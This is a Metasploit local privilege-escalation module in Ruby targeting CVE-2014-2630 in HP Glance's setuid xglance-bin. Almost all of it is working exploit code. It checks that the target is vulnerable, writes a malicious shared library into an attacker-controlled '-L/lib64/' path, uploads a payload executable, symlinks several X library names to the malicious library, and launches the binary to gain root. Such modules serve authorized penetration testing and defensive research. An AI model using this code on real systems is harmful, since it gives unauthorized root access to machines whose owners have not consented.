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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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  Rank = GreatRanking
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  include Msf::Post::Linux::Priv
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  include Msf::Post::Linux::System
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  include Msf::Post::Linux::Compile
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  include Msf::Post::File
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  include Msf::Exploit::EXE
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  include Msf::Exploit::FileDropper
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  prepend Msf::Exploit::Remote::AutoCheck
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'HP Performance Monitoring xglance Priv Esc',
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        'Description' => %q{
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          This exploit takes advantage of xglance-bin, part of
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          HP's Glance (or Performance Monitoring) version 11 'and subsequent'
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          , which was compiled with an insecure RPATH option.  The RPATH includes
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          a relative path to -L/lib64/ which can be controlled by a user.
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          Creating libraries in this location will result in an
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          escalation of privileges to root.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'h00die', # msf module
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          'Tim Brown', # original finding
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          'Robert Jaroszuk', # exploit
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          'Marco Ortisi', # exploit
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        ],
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        'Platform' => [ 'linux' ],
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        'Arch' => [ ARCH_X86, ARCH_X64 ],
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        'SessionTypes' => [ 'shell', 'meterpreter' ],
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        'Targets' => [
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          [ 'Automatic', {} ],
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          [ 'Linux x86', { 'Arch' => ARCH_X86 } ],
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          [ 'Linux x64', { 'Arch' => ARCH_X64 } ]
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        ],
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        'Privileged' => true,
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        'References' => [
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          [ 'EDB', '48000' ],
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          [ 'URL', 'https://seclists.org/fulldisclosure/2014/Nov/55' ], # permissions, original finding
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          [ 'URL', 'https://www.redtimmy.com/linux-hacking/perf-exploiter/' ], # exploit
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          [ 'URL', 'https://github.com/redtimmy/perf-exploiter' ],
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          [ 'PACKETSTORM', '156206' ],
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          [ 'URL', 'https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2630/' ],
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          [ 'CVE', '2014-2630' ]
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        ],
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        'DisclosureDate' => '2014-11-19',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'Reliability' => [REPEATABLE_SESSION],
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          'SideEffects' => [ARTIFACTS_ON_DISK]
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        }
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      )
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    )
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    register_options [
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      OptString.new('GLANCE_PATH', [ true, 'Path to xglance-bin', '/opt/perf/bin/xglance-bin' ])
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    ]
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    register_advanced_options [
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      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
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    ]
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  end
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  # Simplify pulling the writable directory variable
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  def base_dir
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    datastore['WritableDir'].to_s
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  end
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  def exploit_folder
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    "#{base_dir}/-L/lib64/"
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  end
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  def glance_path
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    datastore['GLANCE_PATH'].to_s
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  end
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  # Pull the exploit binary or file (.c typically) from our system
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  def exploit_data(file)
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    ::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-2630', file)
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  end
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  def find_libs
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    libs = cmd_exec "ldd #{glance_path} | grep libX"
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    %r{(?<lib>libX.+\.so\.\d) => -L/lib64} =~ libs
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    return nil if lib.nil?
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    lib
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  end
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  def check
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    return CheckCode::Safe("#{glance_path} file not found") unless file? glance_path
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    return CheckCode::Safe("#{glance_path} is not setuid") unless setuid? glance_path
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    lib = find_libs
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    if lib.nil?
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      vprint_error 'Patched xglance-bin, not linked to -L/lib64/'
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      return CheckCode::Safe
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    end
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    vprint_good "xglance-bin found, and linked to vulnerable relative path -L/lib64/ through #{lib}"
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    CheckCode::Appears
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  end
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  def exploit
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    if !datastore['ForceExploit'] && is_root?
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      fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
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    end
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    unless writable? base_dir
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      fail_with Failure::BadConfig, "#{base_dir} is not writable"
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    end
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    # delete exploit folder in case a previous attempt failed
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    vprint_status("Deleting exploit folder: #{base_dir}/-L")
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    rm_cmd = "rm -rf \"#{base_dir}/-L\""
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    cmd_exec(rm_cmd)
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    # make folder
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    vprint_status("Creating exploit folder: #{exploit_folder}")
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    cmd_exec "mkdir -p #{exploit_folder}"
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    register_dir_for_cleanup "#{base_dir}/-L"
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    # drop our .so on the system that calls our payload
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    # we need gcc to compile instead of metasm since metasm
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    # removes unused variables, which we need to keep xglance-bin
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    # from breaking and not launching our exploit
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    so_file = "#{exploit_folder}libXm.so.3"
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    if live_compile?
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      vprint_status 'Live compiling exploit on system...'
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      payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
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      code = exploit_data('CVE-2014-2630.c')
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      code.sub!(payload_path.to_s, payload_path) # inject our payload path
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      upload_and_compile so_file, code, '-fPIC -shared -static-libgcc'
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      rm_f "#{so_file}.c"
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    else
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      payload_path = '/tmp/.u4aLoiq'
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      vprint_status 'Dropping pre-compiled exploit on system...'
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      upload_and_chmodx so_file, exploit_data('libXm.so.3')
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    end
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    # Upload payload executable
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    vprint_status 'uploading payload'
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    upload_and_chmodx payload_path, generate_payload_exe
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    # link so files to exploit vuln
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    lib = find_libs
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    # just to be safe, Xt and Xp were in the original exploit
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    # our mock binary is also exploitsable through libXmu.so.6
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    # unsure about the real binary
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    cd exploit_folder
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    ['libXp.so.6', 'libXt.so.6', 'libXmu.so.6', lib].each do |l|
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      cmd_exec "ln -s libXm.so.3 #{l}"
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    end
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    # Launch exploit
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    print_status 'Launching xglance-bin...'
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    cd base_dir
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    output = cmd_exec glance_path
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    output.each_line { |line| vprint_status line.chomp }
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    print_warning("Manual cleanup of #{exploit_folder} may be required")
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  end
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end
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